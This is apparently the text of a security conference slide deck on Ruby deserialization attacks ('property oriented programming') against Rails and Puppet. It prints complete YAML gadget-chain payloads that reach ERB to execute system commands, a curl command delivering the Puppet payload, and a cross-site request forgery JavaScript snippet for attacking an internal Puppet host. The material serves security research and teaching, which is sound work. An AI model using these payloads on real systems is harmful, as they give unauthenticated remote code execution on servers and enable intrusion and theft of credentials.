Property Oriented Programming


Applied to Ruby

History


Presented by Stefan Esser at Blackhat 2010

Java Spring CVE-2011-2894

Java Sandbox Bypasses

Ruby YAML Deserialization 

return oriented programming


Property Oriented Programming


Chain objects instead of gadgets


Create chains using deserialization


Create chains using sandboxed code

PIMP MY RAILS


CVE-2013-0156

Rails Vulnerability


Unauthenticated Remote Code Execution 

Affects most Rails versions

Affects most Ruby versions

Metasploit Public Exploit only Ruby 1.9.x

Uses ruby/hash trick (1.9.x)

1.8.x "Private Exploit"


Metasploit Pull Request

Pull Request Exploit


Uses Gem::Requirement#yaml_initialize as entry point

Appeared in Rubygems 2.x

Maybe not in old versions of Ruby

Can we do better?

Use #to_s as Entry Point


 <title type="yaml">--- !ruby/object:HTML::Tag
  attributes: []
  children: !ruby/object:Rack::Response
      header: {}
      block: !ruby/object:Rack::ShowStatus
        app: !ruby/object:Rack::Cascade
          apps: []
        template: !ruby/object:ERB
          src: system("touch /tmp/owned")
      length: 0
      body: []
</title>
https://gist.github.com/benmmurphy/e92566323279ba096e29

Deserialized Object Graph




HTML::Tag#to_s

class Tag
    def to_s
      if @closing == :close
        "</#{@name}>"
      else
        #...

        @children.each { |child| s << child.to_s }
        #...
      end
    end
end

Rack::Response#Each

 class Response
    def each(&callback)
      @body.each(&callback)
      @writer = callback
      @block.call(self)  if @block
    end
end

Rack::ShowStatus#call


 class ShowStatus
    def call(env)
      status, headers, body = @app.call(env)
      headers = Utils::HeaderHash.new(headers)
      empty = headers['Content-Length'].to_i <= 0

      if (status.to_i >= 400 && empty) || env["rack.showstatus.detail"]
        #...
        body = @template.result(binding)
        #...
      else
        [status, headers, body]
      end
    end
end
@template.call gives code execution

Rails is omakase


CVE-2013-0333

JSON ExPlOIT


 --- !ruby/object%3aHTML%3a%3aTag
  attributes: []
  children: !ruby/object%3aRack%3a%3aResponse
      header: {}
      block: !ruby/object%3aRack%3a%3aShowStatus
        app: !ruby/object%3aRack%3a%3aCascade
          apps: []
        template: !ruby/object%3aERB
          src: system("touch /tmp/owned")
      length: 0
      body: []
https://gist.github.com/benmmurphy/3686731bc0210196757d

Rubygems Gets owned


Gem uploaded with malicious YAML metadata
https://gist.github.com/titanous/d891e876c53e55bf0920
https://gist.github.com/titanous/3e4829f79dbd1be11295

Credentials Stolen


S3 and database credentials uploaded to pastie

Rubygems.org machine needed to be rebuilt

Fear of backdoored gems

Heroku Ruby deploys suspended

All packages needed to be verified with mirrors

Blacklisting is a Solution?

Puppet CVE-2013-3567

Puppet Exploit

 --- !ruby/object:Puppet::SSL::CertificateRequest
  content: !ruby/object:Puppet::Parser::TemplateWrapper
    "__scope__": !ruby/object:Puppet::Parser::Scope
      symtable: 
        to_pem: !ruby/object:Puppet::Parser::AST::Concat
          value: !ruby/object:Puppet::Settings
            config: !ruby/object:Rack::Response
              header: {}
              block: !ruby/object:Rack::ShowStatus
                app: !ruby/object:Rack::Cascade
                  apps: []
                template: !ruby/object:ERB
                  src: "system('touch /tmp/ownzor')"
              body: []
      ephemeral: []
  name: rce
 curl -v -k -X PUT -H "Content-Type: text/yaml" -H "Accept: s" --data-binary @rce.yaml "http://localhost:3000/production/certificate_request/rce"

https://gist.github.com/benmmurphy/c6a4d97ecf9dc41bd6d9

PUPPET REMOTE CODE EXECUTION


Unauthenticated Remote Code Execution

Depends on Rack classes being loaded

Won't work with default 'webrick' deployment

Need network access to the puppet machine :(

Bypassing the firewall


puppet cSRF

Trick sysadmin into going to cat picture site
var xhr = new XMLHttpRequest();xhr.open("POST", "http://puppethost");xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");xhr.send("content=---+%21ruby%2Fobject%3....");
https://gist.github.com/benmmurphy/536cf6c28031e60ab7c7

Browsers allow you to post application/x-www-form-urlencoded cross domain

Puppet invokes YAML.load on parameters starting with ---

Thanks For Listening


http://twitter.com/benmmurphy

http://benmmurphy.github.io